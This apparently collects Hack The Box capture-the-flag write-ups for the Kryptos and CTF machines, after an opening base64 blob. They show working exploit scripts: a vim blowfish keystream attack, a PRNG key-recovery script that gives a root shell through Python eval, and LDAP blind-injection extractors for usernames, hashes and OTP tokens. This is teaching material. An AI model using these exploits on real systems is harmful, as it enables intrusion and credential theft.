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
```

Base64 decoded then RC4 decrypted then hex encoded content:

```
53 51 4c 69 74 65 20 66 6f 72 6d 61 74 20 33 ...omitted...
...omitted...
5b 5b 5b 56 69 6d 43 72 79 70 74 7e 30 32 21 0b 18 e4 35 cb 56 12 9a 35 44 80 40 70 3b 96 2d 93 0d a8 10 76 6e 64 5d c1 4b e2 1c 79 59 43 7d d9 35 fb 36 67 4d 52 41 8b 6e 5d 5d 5d
```

{% hint style="info" %}
`creds.txt` is an encrypted vim file:

* It is encrypted using `VimCrypt~02!` or using `:set cm=blowfish`
* ***blowfish*** is a block cipher and vim's implementation is using a Cipher Feedback (CFB) mode of encrpytion.
  {% endhint %}

The ***salt***, ***IV***, and ***data*** are `0b 18 e4 35 cb 56 12 9a`, `35 44 80 40 70 3b 96 2d`, and `93 0d a8 10 76 6e 64 5d c1 4b e2 1c 79 59 43 7d d9 35 fb 36 67 4d 52 41 8b 6e` respectively.

## PART 4 : GENERATE USER SHELL

### 4.1 VIM BLOWFISH

To decrpyt `creds.txt` using `creds.old`, hex encode the first 8 bytes of creds.old:

```
72 69 6a 6e 64 61 65 6c (rijndael)
```

XOR the first 8 bytes of `creds.old` with the first 8 bytes of data from `creds.txt`:

```
[72 69 6a 6e 64 61 65 6c] XOR [93 0d a8 10 76 6e 64 5d] -> [e1 64 c2 7e 12 0f 01 31]
```

XOR the output from above with the entire data from `creds.txt`:

```
[e1 64 c2 7e 12 0f 01 31] XOR [93 0d a8 10 76 6e 64 5d c1 4b e2 1c 79 59 43 7d d9 35 fb 36 67 4d 52 41 8b 6e] -> [72 69 6a 6e 64 61 65 6c 20 2f 20 62 6b 56 42 4c 38 51 39 48 75 42 53 70 6a 0a]
```

Decode the hex output from above:

```
rijndael / bkVBL8Q9HuBSpj
```

This works since **vim**'s implementation of blowfish is vulnerable for small files (\~64 bytes):

* The first 8 blocks use the same IV along with a key to form a key stream.
* Knowing part of the plaintext already can make corresponding parts of the ciphertext guessable.

That along with the assumption that `creds.old` follows the same format as `creds.txt`

* The first 8 bytes of `creds.old` decodes **rijndael**
* The first 8 bytes of `creds.txt` should also be **rijndael**

### 4.2 SSH as rijndael

```bash
$ ssh -l rijndael 10.10.10.129

  rijndael@10.10.10.129's password: bkVBL8Q9HuBSpj
```

While inside `rijndael`'s shell:

```bash
$ ls -la

  [...omitted...]
  -rw-rw-r-- 1 root     root       21 Oct 30  2018 creds.old
  -rw-rw-r-- 1 root     root       54 Oct 30  2018 creds.txt
  [...omitted...]
  drwx------ 2 rijndael rijndael 4096 Mar 13 12:01 kryptos
  [...omitted...]
  -r-------- 1 rijndael rijndael   33 Oct 30  2018 user.txt

$ ls -la ./kryptos

  -r-------- 1 rijndael rijndael 2257 Mar 13 12:01 kryptos.py

$ cat user.txt

  92b6........................0de2
```

## PART 5 : PRIVESC (rijndael -> root)

### 5.1 kryptos.py

Check for processes run by `root`:

```bash
$ ps -auwxx

  [...omitted...]
  root       763  0.0  0.4  68516 19096 ?        Ss   13:56   0:00 /usr/bin/python3 /root/kryptos.py
  [...omitted...]
```

There is a `kryptos.py` file stored in **rijndael**'s home directory and examining its contents:

```python
import random 
import json
import hashlib
import binascii
from ecdsa import VerifyingKey, SigningKey, NIST384p
from bottle import route, run, request, debug
from bottle import hook
from bottle import response as resp
   
   
def secure_rng(seed): 
    # Taken from the internet - probably secure
    p = 2147483647
    g = 2255412
   
    keyLength = 32
    ret = 0
    ths = round((p-1)/2)
    for i in range(keyLength*8):
        seed = pow(g,seed,p)
        if seed > ths:
            ret += 2**i
    return ret
   
# Set up the keys
seed = random.getrandbits(128)
rand = secure_rng(seed) + 1
sk = SigningKey.from_secret_exponent(rand, curve=NIST384p)
vk = sk.get_verifying_key()
   
def verify(msg, sig):
    try:
        return vk.verify(binascii.unhexlify(sig), msg)
    except:
        return False
   
def sign(msg):
    return binascii.hexlify(sk.sign(msg))
   
@route('/', method='GET')
def web_root():
    response = {'response':
                {
                    'Application': 'Kryptos Test Web Server',
                    'Status': 'running'
                }
                }
    return json.dumps(response, sort_keys=True, indent=2)
   
@route('/eval', method='POST')
def evaluate():
    try: 
        req_data = request.json
        expr = req_data['expr']
        sig = req_data['sig']
        # Only signed expressions will be evaluated
        if not verify(str.encode(expr), str.encode(sig)):
            return "Bad signature"
        result = eval(expr, {'__builtins__':None}) # Builtins are removed, this should be pretty safe
        response = {'response':
                    {
                        'Expression': expr,
                        'Result': str(result) 
                    }
                    }
        return json.dumps(response, sort_keys=True, indent=2)
    except:
        return "Error"
   
# Generate a sample expression and signature for debugging purposes
@route('/debug', method='GET')
def debug():
    expr = '2+2'
    sig = sign(str.encode(expr))
    response = {'response':
                {
                    'Expression': expr,
                    'Signature': sig.decode() 
                }
                }
    return json.dumps(response, sort_keys=True, indent=2)
   
run(host='127.0.0.1', port=81, reloader=True)


```

This must be similar with the application being run by root which is also hosted locally on port 81:

{% hint style="info" %}
Requesting on `/eval` requires an expression (`expr`) and a signature (`sig`)

* `expr` is passed to an `eval()` function.
* However, a valid signature is needed for the string to be evaluated.
* The expression is signed using ECDSA with an NIST384p curve.

The exponent used to generate the signature is derived from the "random number generator" function, `secure_rng(seed).`

* The seed is derived using `random.getrandbits(128)`.
  {% endhint %}

### 5.2 PRNG Exploit

The application uses a weak pseudorandom number generator to sign requests. The value of which is already static since it is only defined once during the initial runtime of the program:

```python
import hashlib
import binascii
import requests as r
from ecdsa import VerifyingKey, SigningKey, NIST384p
   
p = 2147483647
g = 2255412
   
def getCongruence():
   
    ...omitted...  
 
def generateRandomNumber(seed):
   
    ret = 0
    for i in range(32 * 8):
        seed = pow(g,seed,p)
        if seed > (p-1)/2:
            ret += 2**i
    return ret
   
def getUniqueNumbers(order_p):

    ...omitted...
   
def getExponent(unique_rng_values):
   
    ...omitted...   

def requestEval(message, signature):
    data = {
        "expr": message,
        "sig": signature.decode()        
    }
    return r.post("http://127.0.0.1:81/eval", json=data)
   
# ===MAIN-FUNCTION==================================================
   
__import__("os").system("clear")
   
print("\n[KryptOS RNG Enumeration]\n")
lambda_p = getCongruence()
print("\t[+] order(p,g) = {}".format(len(lambda_p)))
   
unique_rng_values = getUniqueNumbers(getCongruence())
print("\t[+] The are {} possible RNG values\n".format(len(unique_rng_values)))
   
print("[BRUTEFORCING THE rand VALUE]\n")
exponent = getExponent(unique_rng_values)
print("\t[+] ECDSA Signing Key Exponent: {}\n".format(exponent))
   
sk = SigningKey.from_secret_exponent(exponent, curve=NIST384p)
message = '[x for x in ().__class__.__base__.__subclasses__()][250]'
while True:
    command = input("root@kryptos# ").strip()
    execute = '("' + command + '", shell=True, stdout=-1).communicate()'
   
    payload = message + execute
    signature = binascii.hexlify(sk.sign(str.encode(payload)))
    stdout = requestEval(payload, signature).json()['response']['Result']
   
    print(bytes(stdout[3:-8], "utf-8").decode("unicode_escape"))
```

Function definitions and their reasoning:

{% tabs %}
{% tab title="getCongruence()" %}

```python
def getCongruence():

    order_p = [1]
    k = 1
    while True:
        gk_mod_p = pow(g, k ,p)
        if gk_mod_p == order_p[0]: break
        else:
            order_p.append(gk_mod_p)
             k += 1
    return order_p
```

This is based on the definition of **primitive roots**:

* &#x20;If `g` is a primitive root of `p`, then the congruence classes will contain all **totatives** of `p`.
* **Totatives** are defined by all values, `n`, where `gcd(n,p) = 1`.&#x20;
* The goal is to find all the possible totatives or at least the order of values relative to `p`.

&#x20;It is said that `g` is a **primitive root modulo** ***`p`*** if a value, `a`, coprime to `p` is congruent to `g^k mod p`

* &#x20;Primitive root or not, `g` relative to `p` should still have a cycle which is a subset of the congruence classes.

&#x20;The defined function above’s return value, `order_p`, is an array of integers relatively prime to `p`.
{% endtab %}

{% tab title="generateRandomNumber()" %}

```python
def generateRandomNumber(seed):
   
    ret = 0
    for i in range(32 * 8):
        seed = pow(g,seed,p)
        if seed > (p-1)/2:
            ret += 2**i
    return ret
```

* &#x20;This was taken from the `secure_rng(seed)` function from `kryptos.py`.
* This seems to be based on the **Blum-Micali algorithm**.
  {% endtab %}

{% tab title="getUniqueNumbers()" %}

```python
def getUniqueNumbers(order_p):

    rng_unique = []
    for i in order_p:
        num = generateRandomNumber(i)
        if num not in rng_unique: rng_unique.append(num)
  
    return rng_unique
```

&#x20;This values from `order_p` are passed to this function to generate all possible values from the **Pseudo Random Number Generator (PRNG)**.

* &#x20;Since the possible values for the seed are already known, the unique integers generated by the PRNG should be **`len(rng_unique) <= len(order_p)`**.
  {% endtab %}

{% tab title="getExponent()" %}

```python
def getExponent(unique_rng_values):

    for i in unique_rng_values:
        sk = SigningKey.from_secret_exponent(i+1, curve=NIST384p)
        signature = binascii.hexlify(sk.sign(str.encode('2+2')))
        req = requestEval("2+2", signature)
           
        if "Bad signature" not in req.text: return i+1
```

&#x20;Since there are now only reasonable number of values left to work with, the exponent used for signing the `expr` parameter should now be easily retrieved via bruteforcing using repeated requests.
{% endtab %}
{% endtabs %}

Upload then execute `kryptos_root.py` inside the kryptos machine:

```bash
$ scp ./kryptos_root.py rijndael@10.10.10.129:/var/tmp/kryptos_root.py

rijndael@10.10.10.129's password: bkVBL8Q9HuBSpj
```

Execute the python script from within the Kryptos machine:

```bash
$ python3 /var/tmp/kryptos_root.py

  [KryptOS RNG Enumeration]
 
      [+] order(p,g) = 331
      [+] The are 157 possible RNG values
 
  [BRUTEFORCING THE rand VALUE]
 
      [+] ECDSA Signing Key Exponent: 7470457370149431962811031290883090829243224817138100905771457032768594303611
  
root@kryptos# id

  uid=0(root) gid=0(root) groups=0(root)
 
root@kryptos# find /root -name root.txt

  /root/root.txt

root@kryptos# cat /root/root.txt

  6256........................7c6e

root@kryptos#
```


# HTB CTF

10.10.10.122 | 50 pts | Synack Track | Ticket Master Badge

## PART 1 : Initial Recon

### 1.1 NMAP SCAN

```bash
$ nmap --min-rate 700 -p- -v 10.10.10.122

  PORT   STATE SERVICE
  22/tcp open  ssh
  80/tcp open  http
  
$ nmap -oN ctf.nmap -p22,80 -sC -sV -v 10.10.10.122

  PORT   STATE SERVICE VERSION
  22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
  | ssh-hostkey: 
  |   2048 fd:ad:f7:cb:dc:42:1e:43:7d:b3:d5:8b:ce:63:b9:0e (RSA)
  |   256 3d:ef:34:5c:e5:17:5e:06:d7:a4:c8:86:ca:e2:df:fb (ECDSA)
  |_  256 4c:46:e2:16:8a:14:f6:f0:aa:39:6c:97:46:db:b4:40 (ED25519)
  80/tcp open  http    Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
  | http-methods: 
  |   Supported Methods: GET HEAD POST OPTIONS TRACE
  |_  Potentially risky methods: TRACE
  |_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
  |_http-title: CTF
```

## PART 2 : Port Enumeration

### 2.1 TCP PORT 80 : HTTP

Visiting `http://10.10.10.122`:

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MfdKK5sMmZA0VOix1CA%2F-MfdMR4zg-8Xzti0fTSM%2Fimage.png?alt=media\&token=1f80bef2-97db-4905-83a1-6d7f960ec964)

The site is protected against bruteforcing which means automated tools are not an efficient option. Looking at `/login.php`:

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MfdKK5sMmZA0VOix1CA%2F-MfdMpbEBil_BD-N_l_X%2Fimage.png?alt=media\&token=7f90325b-85aa-457e-ae6b-7268c84c2043)

Page Source (`/login.php`):

```markup
...
<form action="/login.php" method="post">
  <div class="form-group row">
    <div class="col-sm-10">
    </div>
  </div>
  <div class="form-group row">
    <label for="inputUsername" class="col-sm-2 col-form-label">Username</label>
    <div class="col-sm-10">
      <input type="text" class="form-control" id="inputUsename" name="inputUsername" placeholder="Username">
    </div>
  </div>
  <div class="form-group row">
    <label for="inputOTP" class="col-sm-2 col-form-label">OTP</label>
    <div class="col-sm-10">
      <input type="OTP" class="form-control" id="inputOTP" name="inputOTP" placeholder="One Time Password">
      <!-- we'll change the schema in the next phase of the project (if and only if we will pass the VA/PT) -->
      <!-- at the moment we have choosen an already existing attribute in order to store the token string (81 digits) -->
    </div>
  </div>
  <div class="form-group row">
    <div class="col-sm-10">
      <button type="submit" class="btn btn-primary  name=" submit"="" value="Login">Login</button>
    </div>
  </div>
</form>
...
```

**NOTE(S)**:

An error message pops up when guessing the `Username` input:

```markup
<div class="col-sm-10">User test not found</div>
```

Now, testing for possible injection -- `inputUsername=%3D` (`%3D` is "=") and no error message popped up.

* `!`, `&`, `*`, `(`, `)`, `\`, `|`, `<`, and `>` also doesn't return an error message

These are special characters in LDAP so maybe these characters are being filtered out by **/login.php**. It is also important to note that a **token string** for the `OTP` is stored in a pre-existing attribute so the login might actually be validated using LDAP.

## PART 3 : EXPLOITATION

### 3.1 LDAP Blind Injection

Attempt exploitation using [**LDAP Injection**](https://www.owasp.org/index.php/LDAP_injection) using a wildcard "`*`" as a payload:

```
inputUsername=%2A
```

The following response was given by the server:

```markup
<div class="col-sm-10">Cannot login</div>
```

This error message means we have a valid username and that the injection has worked. Now attempting to extract a real valid user using python:

```python
import requests as r
import urllib.parse as u

username = ""
char_list = "abcdefghijklmnopqrstuvwxyz0123456789"
while True:
  for i in range(0, len(char_list)):

      ldap_injection = "%s%c*" % (username, char_list[i])
      data = { "inputUsername": u.quote(ldap_injection) }
      req = r.post("http://10.10.10.122/login.php", data=data)

      if "Cannot login" in req.text:
          username = username + char_list[i]
          print(username)
          break

  if i == len(char_list) - 1 : break

print("[x] THE USERNAME IS " + username)
```

Run using `python3` and a user, `ldapuser`, has been extracted:

```bash
l
ld
lda
ldap
ldapu
ldapus
ldapuse
ldapuser
[x] THE USERNAME IS ldapuser
```

Now finding all available/usable LDAP Attributes using `ldap_attribute_list.txt` (copied from [ldap-brute from GitHub](https://github.com/droope/ldap-brute/blob/master/wordlists/attribute_names)):

```python
import requests as r
import urllib.parse as u

attribute_list = open("/usr/share/wordlists/ldap_attribute_names.txt", "r")

attributes = []
for i in attribute_list:

  ldap_injection = "ldapuser))(&(%s=*" % (i[:-1])

  data = { "inputUsername": u.quote(ldap_injection) }
  req = r.post("http://10.10.10.122/login.php", data=data)

  if "Cannot login" in req.text:
      print(ldap_injection)
      attributes.append(i[:-1])

attribute_list.close()
```

Run using `python3` and the following were returned -- `userPassword`, `pager`, and `objectClass` might be of interest:

```bash
ldapuser))(&(cn=*
ldapuser))(&(commonName=*
ldapuser))(&(gidNumber=*
ldapuser))(&(homeDirectory=*
ldapuser))(&(loginShell=*
ldapuser))(&(mail=*
ldapuser))(&(name=*
ldapuser))(&(objectClass=*
ldapuser))(&(pager=*
ldapuser))(&(shadowLastChange=*
ldapuser))(&(shadowMax=*
ldapuser))(&(shadowMin=*
ldapuser))(&(shadowWarning=*
ldapuser))(&(sn=*
ldapuser))(&(surname=*
ldapuser))(&(uid=*
ldapuser))(&(uidNumber=*
ldapuser))(&(userPassword=*
```

Extracting the contents of `userPassword`:

```python
import requests as r
import urllib.parse as u

token = ""
while True:

  if len(token) % 3 == 0 :
      attribute_value = bytes.fromhex(str(token.replace("\\", ""))).decode('utf-8')
      print(attribute_value)
      token += "\\"

      if len(attribute_value[19:])==86: break

  for x in range(15,-1,-1):

      if len(attribute_value[19:])==85 and len(token) % 3 == 2 :
          if x==0: token = token + "0"

      payload = "ldapuser))(&(uid=ldapuser)(userPassword:2.5.13.18:="
      ldap_injection = payload + "%s%cf" % (token, hex(x)[-1])

      if ldap_injection[-3:] == "0ff":
          hex_val = "0x" + ldap_injection[-6:-4]
          token = token[:-4] + hex(int(hex_val, 16) + 1)[-2:] + "\\"
          ldap_injection = payload + "%s%cf" % (token, hex(x)[-1])

      data = { "inputUsername": u.quote(ldap_injection) }
      req = r.post("http://10.10.10.122/login.php", data=data)

      if x==0 and len(token) % 3 == 2 : token = token[:-1] + str(int(token[-1]) - 1) + "0"
      elif "Cannot login" not in req.text:
          if len(token) % 3 == 2 : token = token + hex(x)[-1]
          else: token = token + hex(x+1)[-1]
          break
```

Run using `python3`:

```
{
{c
{cr
{cry
{cryp
{crypt
{crypt|
{crypt}#
{crypt}$5
...
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G-
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G.
...
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G.0T9XicaZGNOqp9FfdbS5N2hT0exXi23
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G.0T9XicaZGNOqp9FfdbS5N2hT0exXi245
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G.0T9XicaZGNOqp9FfdbS5N2hT0exXi246
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G.0T9XicaZGNOqp9FfdbS5N2hT0exXi2460
```

The `userPassword` attribute is a bit special:

{% hint style="info" %}

* According to Microsoft, `userPassword` has an [Object(Replica-Link) syntax](https://docs.microsoft.com/en-us/windows/desktop/adschema/a-unixuserpassword)
* [Object(Replica-Link)](https://ldapwiki.com/wiki/Replica%20Link) has an OID 2.5.5.10 which is an **Octet String**
* **Octet Strings** has a different set of [operations](https://ldap.com/matching-rules/):

```
Octet string matching rules are very simple rules that perform byte-by-byte comparisons of octet string 
values. All capitalization and spacing is considered significant.
```

{% endhint %}

So with `ldapuser))(&(uid=ldapuser)(userPassword:2.5.13.18:=`, a simple wildcard comparison won't do:

```
octetStringOrderingMatch (OID 2.5.13.18): An ordering matching rule that will perform a bit-by-bit 
comparison (in big endian ordering) of two octet string values until a difference is found. The first 
case in which a zero bit is found in one value but a one bit is found in another will cause the value 
with the zero bit to be considered less than the value with the one bit.
```

A **sha512crypt** hash was extracted but this seems to be a **RABBIT HOLE**. But the `pager` attribute seems promising:

```python
import requests as r
import urllib.parse as u

token = ""
while( len(token)!=81 ):
    for i in range(0,10):

        ldap_injection = "ldapuser))(&(pager=%s%d*" % (token, i)
        data = { "inputUsername": u.quote(ldap_injection) }
        req = r.post("http://10.10.10.122/login.php", data=data)

        if "Cannot login" in req.text:
            token = token + str(i)
            print(token)
            break

print("[x] THE TOKEN IS " + token)
```

Run using `python3` and it seems like the attribute contains the token which is a **Pure Numeric CTF (Compressed Token Format) string**:

```
2
28
285
2854
28544
285449
2854494
28544949
285449490
2854494900
...
28544949001135715653165154565233557071316741144572714
285449490011357156531651545652335570713167411445727140
2854494900113571565316515456523355707131674114457271406
28544949001135715653165154565233557071316741144572714060
285449490011357156531651545652335570713167411445727140604
2854494900113571565316515456523355707131674114457271406041
...
28544949001135715653165154565233557071316741144572714060417214145671110271671700
